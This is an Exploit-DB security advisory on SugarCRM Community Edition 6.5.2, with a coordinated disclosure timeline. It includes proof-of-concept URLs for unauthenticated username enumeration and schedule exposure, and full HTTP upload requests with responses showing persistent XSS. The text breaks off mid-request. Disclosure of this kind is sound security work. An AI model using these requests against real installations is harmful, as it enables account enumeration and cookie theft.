Exploit-DB #20981
Description: SugarCRM Community Edition 6.5.2 (Build 8410) - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-01
Author: Brendan Coles

Exploit:
################################################################################
# SugarCRM Community Edition 6.5.2 (Build 8410) multiple vulnerabilities       #
################################################################################
# Brendan Coles # http://itsecuritysolutions.org/                 # 2012-07-26 #
################################################################################

There are multiple security vulnerabilities in SugarCRM Community Edition 6.5.2 
(Build 8410) which may allow an attacker to take control of the software.

# Version:  6.5.2 (Build 8410)
# Homepage: http://sugarcrm.com/
# Vendor Notification:
  # 2012-07-26 -> secure@sugarcrm.com
  # 2012-07-27 <- vendor confirmed receipt
  # 2012-07-29 -> request for patch date
  # 2012-07-31 <- vendor advised issues will be patched in 6.5.3
  # 2012-08-24 -- vendor released 6.5.3
  # 2012-08-30 -- advisory released

################################################################################
# Packaged Software                                                            #
################################################################################

SugarCRM Community Edition 6.5.2 (Build 8410) comes in multiple flavors:

# FastStack Windows Installer 6.5.2 with MySQL
Apache          2.2.21
MySQL           5.5.16
PHP             5.3.8
phpMyAdmin      3.4.8
Zend Framework  1.10.8

# FastStack Windows Installer 6.5.2 with SQL Server
Apache          2.2.21
Microsoft SQL Server Express 2005
PHP             5.3.8
Zend Framework  1.10.8

# FastStack Linux Installer 6.5.2 with MySQL
Apache          2.2.21
MySQL           5.5.16
PHP             5.3.8
phpMyAdmin      3.4.8
Zend Framework  1.10.8

# FastStack Mac OS X Installer 6.5.2 with MySQL # Not tested
Apache
MySQL
PHP
Zend Framework


################################################################################
# Information Disclosure # Full Path Disclosure # Unauthenticated              #
################################################################################

The application creates the following file once any user has authenticated and 
completed the "wizard" introduction.

/sugarcrm/cache/include/externalAPI.cache.js

This file leaks some application details including the local file path.


################################################################################
# Information Disclosure # Username Enumeration # Unauthenticated              #
################################################################################

Unauthenticated users can enumerate valid usernames and user e-mail addresses.

The following proof of concept is available:

/sugarcrm/vcal_server.php?type=vfb&email=will@example.com
/sugarcrm/vcal_server.php?type=vfb&user_name=will


################################################################################
# Information Disclosure # User Schedules # Unauthenticated                    #
################################################################################

By default all users have an empty key for the iCalendar allowing 
unauthenticated users to see users' schedules.

The following proof of concept is available:

/sugarcrm/ical_server.php?type=ics&key=&email=will@example.com
/sugarcrm/ical_server.php?type=ics&key=&user_name=will


################################################################################
# Persistent Cross-Site Scripting (XSS) # Authenticated - User Role            #
################################################################################

The following proof of concept is available:

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=eefo76fskvd5qfpa0oqsd7a5i2
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]421
Content-Length: 496

----------------------------[PII_REDACTED]421
Content-Disposition: form-data; name="module"

Documents
----------------------------[PII_REDACTED]421
Content-Disposition: form-data; name="action"

Save
----------------------------[PII_REDACTED]421
Content-Disposition: form-data; name="filename_file"; filename="anything.jpg"
Content-Type: image/jpeg

<script>alert(document.cookie+" on "+document.domain)</script>

----------------------------[PII_REDACTED]421


# Response:

HTTP/1.1 301 Moved Permanently
Date: Mon, 23 Jul 2012 11:08:38 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ck_login_id_20=1; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: ck_login_language_20=en_us; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: sugar_user_theme=Sugar5; expires=Tue, 23-Jul-2013 11:08:38 GMT
Location: index.php?module=Documents&action=DetailView&record=b60e0d55-9ed3-6ce7-c7b5-500d307bd0ca
Content-Length: 0
Content-Type: text/html; charset=UTF-8


# View the payload here:

/sugarcrm/index.php?entryPoint=download&id=b60e0d55-9ed3-6ce7-c7b5-500d307bd0ca&type=Documents


################################################################################
# Persistent Cross-Site Scripting (XSS) # Authenticated - User Role            #
################################################################################

The following proof of concept is available:

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=eefo76fskvd5qfpa0oqsd7a5i2
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]421
Content-Length: 658

----------------------------[PII_REDACTED]421
Content-Disposition: form-data; name="module"

Notes
----------------------------[PII_REDACTED]421
Content-Disposition: form-data; name="action"

Save
----------------------------[PII_REDACTED]42